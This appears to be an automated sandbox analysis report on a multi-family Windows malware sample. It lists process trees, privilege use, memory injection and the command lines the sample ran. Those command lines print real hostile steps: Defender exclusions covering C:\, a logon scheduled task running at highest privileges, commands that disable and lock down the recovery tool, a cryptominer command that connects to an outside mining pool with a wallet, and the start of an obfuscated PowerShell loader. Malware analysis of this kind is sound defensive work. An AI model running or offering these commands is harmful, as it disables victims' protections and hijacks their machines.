2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 5068 powershell.exe 588 winlogon.exe 588 winlogon.exe 1236 Win-v41.exe 1236 Win-v41.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 588 winlogon.exe 588 winlogon.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe 588 winlogon.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3304 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5008 powershell.exe Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 1848 powershell.exe Token: SeTakeOwnershipPrivilege 3528 takeown.exe Token: SeShutdownPrivilege 396 powercfg.exe Token: SeCreatePagefilePrivilege 396 powercfg.exe Token: SeShutdownPrivilege 3124 powercfg.exe Token: SeCreatePagefilePrivilege 3124 powercfg.exe Token: SeShutdownPrivilege 2412 powercfg.exe Token: SeCreatePagefilePrivilege 2412 powercfg.exe Token: SeShutdownPrivilege 3272 powercfg.exe Token: SeCreatePagefilePrivilege 3272 powercfg.exe Token: SeShutdownPrivilege 2416 powercfg.exe Token: SeCreatePagefilePrivilege 2416 powercfg.exe Token: SeShutdownPrivilege 4080 powercfg.exe Token: SeCreatePagefilePrivilege 4080 powercfg.exe Token: SeShutdownPrivilege 4448 powercfg.exe Token: SeCreatePagefilePrivilege 4448 powercfg.exe Token: SeShutdownPrivilege 4448 powercfg.exe Token: SeCreatePagefilePrivilege 4448 powercfg.exe Token: SeLockMemoryPrivilege 1600 cmd.exe Token: SeLockMemoryPrivilege 1600 cmd.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeDebugPrivilege 588 winlogon.exe Token: SeShutdownPrivilege 4608 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4608 mousocoreworker.exe Token: SeShutdownPrivilege 516 dwm.exe Token: SeCreatePagefilePrivilege 516 dwm.exe Token: SeShutdownPrivilege 3756 RuntimeBroker.exe Token: SeShutdownPrivilege 3304 Explorer.EXE Token: SeCreatePagefilePrivilege 3304 Explorer.EXE Token: SeShutdownPrivilege 3304 Explorer.EXE Token: SeCreatePagefilePrivilege 3304 Explorer.EXE Token: SeShutdownPrivilege 4608 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4608 mousocoreworker.exe Token: SeShutdownPrivilege 3756 RuntimeBroker.exe Token: SeShutdownPrivilege 4608 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4608 mousocoreworker.exe Token: SeShutdownPrivilege 4608 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4608 mousocoreworker.exe Token: SeShutdownPrivilege 3304 Explorer.EXE Token: SeCreatePagefilePrivilege 3304 Explorer.EXE Token: SeShutdownPrivilege 3304 Explorer.EXE Token: SeCreatePagefilePrivilege 3304 Explorer.EXE Token: SeShutdownPrivilege 4608 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4608 mousocoreworker.exe Token: SeShutdownPrivilege 3756 RuntimeBroker.exe Token: SeAssignPrimaryTokenPrivilege 2244 svchost.exe Token: SeIncreaseQuotaPrivilege 2244 svchost.exe Token: SeSecurityPrivilege 2244 svchost.exe Token: SeTakeOwnershipPrivilege 2244 svchost.exe Token: SeLoadDriverPrivilege 2244 svchost.exe Token: SeSystemtimePrivilege 2244 svchost.exe Token: SeBackupPrivilege 2244 svchost.exe Token: SeRestorePrivilege 2244 svchost.exe Token: SeShutdownPrivilege 2244 svchost.exe Token: SeSystemEnvironmentPrivilege 2244 svchost.exe Token: SeUndockPrivilege 2244 svchost.exe Token: SeManageVolumePrivilege 2244 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2244 svchost.exe Token: SeIncreaseQuotaPrivilege 2244 svchost.exe Token: SeSecurityPrivilege 2244 svchost.exe Token: SeTakeOwnershipPrivilege 2244 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1600 cmd.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3704 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3160 wrote to memory of 5008 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 86 PID 3160 wrote to memory of 1592 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 88 PID 3160 wrote to memory of 1848 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 90 PID 3160 wrote to memory of 2028 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 92 PID 3160 wrote to memory of 4856 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 94 PID 4856 wrote to memory of 4852 4856 cmd.exe 96 PID 3160 wrote to memory of 4420 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 97 PID 4420 wrote to memory of 3528 4420 cmd.exe 101 PID 3160 wrote to memory of 3900 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 102 PID 3900 wrote to memory of 944 3900 cmd.exe 107 PID 3160 wrote to memory of 1612 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 110 PID 1612 wrote to memory of 2948 1612 cmd.exe 114 PID 3160 wrote to memory of 396 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 115 PID 3160 wrote to memory of 3124 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 117 PID 3160 wrote to memory of 2412 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 119 PID 3160 wrote to memory of 3272 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 121 PID 3160 wrote to memory of 2416 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 123 PID 3160 wrote to memory of 4080 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 125 PID 3160 wrote to memory of 4448 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 127 PID 3160 wrote to memory of 4544 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 129 PID 4544 wrote to memory of 892 4544 cmd.exe 131 PID 3160 wrote to memory of 1600 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 134 PID 3160 wrote to memory of 684 3160 2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe 137 PID 5060 wrote to memory of 5068 5060 cmd.exe 139 PID 5068 wrote to memory of 588 5068 powershell.exe 5 PID 588 wrote to memory of 668 588 winlogon.exe 7 PID 588 wrote to memory of 884 588 winlogon.exe 11 PID 588 wrote to memory of 64 588 winlogon.exe 13 PID 588 wrote to memory of 516 588 winlogon.exe 14 PID 588 wrote to memory of 440 588 winlogon.exe 15 PID 588 wrote to memory of 1052 588 winlogon.exe 16 PID 588 wrote to memory of 1136 588 winlogon.exe 18 PID 588 wrote to memory of 1164 588 winlogon.exe 19 PID 588 wrote to memory of 1236 588 winlogon.exe 144 PID 588 wrote to memory of 1172 588 winlogon.exe 20 PID 588 wrote to memory of 1248 588 winlogon.exe 21 PID 588 wrote to memory of 1320 588 winlogon.exe 22 PID 588 wrote to memory of 1348 588 winlogon.exe 23 PID 588 wrote to memory of 1364 588 winlogon.exe 24 PID 588 wrote to memory of 1372 588 winlogon.exe 25 PID 588 wrote to memory of 1488 588 winlogon.exe 26 PID 588 wrote to memory of 1648 588 winlogon.exe 27 PID 588 wrote to memory of 1672 588 winlogon.exe 28 PID 588 wrote to memory of 1692 588 winlogon.exe 29 PID 588 wrote to memory of 1796 588 winlogon.exe 30 PID 588 wrote to memory of 1816 588 winlogon.exe 31 PID 588 wrote to memory of 1868 588 winlogon.exe 32 PID 588 wrote to memory of 1932 588 winlogon.exe 33 PID 588 wrote to memory of 1940 588 winlogon.exe 34 PID 588 wrote to memory of 1504 588 winlogon.exe 35 PID 588 wrote to memory of 1724 588 winlogon.exe 36 PID 588 wrote to memory of 1856 588 winlogon.exe 37 PID 588 wrote to memory of 2092 588 winlogon.exe 38 PID 588 wrote to memory of 2232 588 winlogon.exe 39 PID 588 wrote to memory of 2244 588 winlogon.exe 40 PID 588 wrote to memory of 2384 588 winlogon.exe 42 PID 588 wrote to memory of 2420 588 winlogon.exe 43 PID 588 wrote to memory of 2700 588 winlogon.exe 45 PID 588 wrote to memory of 2708 588 winlogon.exe 46 PID 588 wrote to memory of 2860 588 winlogon.exe 47 PID 588 wrote to memory of 2884 588 winlogon.exe 48 PID 588 wrote to memory of 2920 588 winlogon.exe 49 PID 588 wrote to memory of 2960 588 winlogon.exe 50 PID 588 wrote to memory of 2984 588 winlogon.exe 51 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588 -
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:516
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C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1236
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-71156de7-85f5-4b97-811f-fda085b24d41 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6fd3a8cb-201f-4c02-b92c-d698dd3deaf8 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f0f32399-ed33-48cc-8b9e-18bda427df8a -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d3b53721-9aee-4576-92f7-78fbde2af80d -LifetimeId:1e7b35bc-6520-40ce-933c-e254fcedce43 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:64
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1136 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1364
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1868
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1724
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2092
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2960
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3204
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3304 -
C:\Users\Admin\AppData\Local\Temp\2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-15_b9f6baa7a905db5e5474e312fec2387e_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1592
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848
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C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:2028
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:4852
-
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3528
-
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:944
-
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2948
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:396
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3272
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2416
-
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4080
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4448
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.84⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:892
-
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=903⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1600
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C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:684
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3420
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3604
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3756
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3960
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2972
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4532
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5088
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2580
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3972
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3832
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4120
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:1484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3284
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4260
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:1020
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2840
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 8f23b90e19f24d476ef89ef9a63e14bb nlBw4oYqv0uJidYRCf3s2Q.0.1.0.0.01⤵PID:3452
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4992
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2120
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2324
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:CxhiSvkIRRoz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bNPEYartukmxaq,[Parameter(Position=1)][Type]$hcahERuEjU)$ktUKotgphUx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'l'+[Char](101)+''+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+'gat'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+'S'+'ea'+[Char](108)+''+'e'+''+'d'+''+','+''+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$ktUKotgphUx.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'a'+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+'de'+'B'+''+'y'+''+[Char](83)+''+'i'+'g,'+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$bNPEYartukmxaq).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)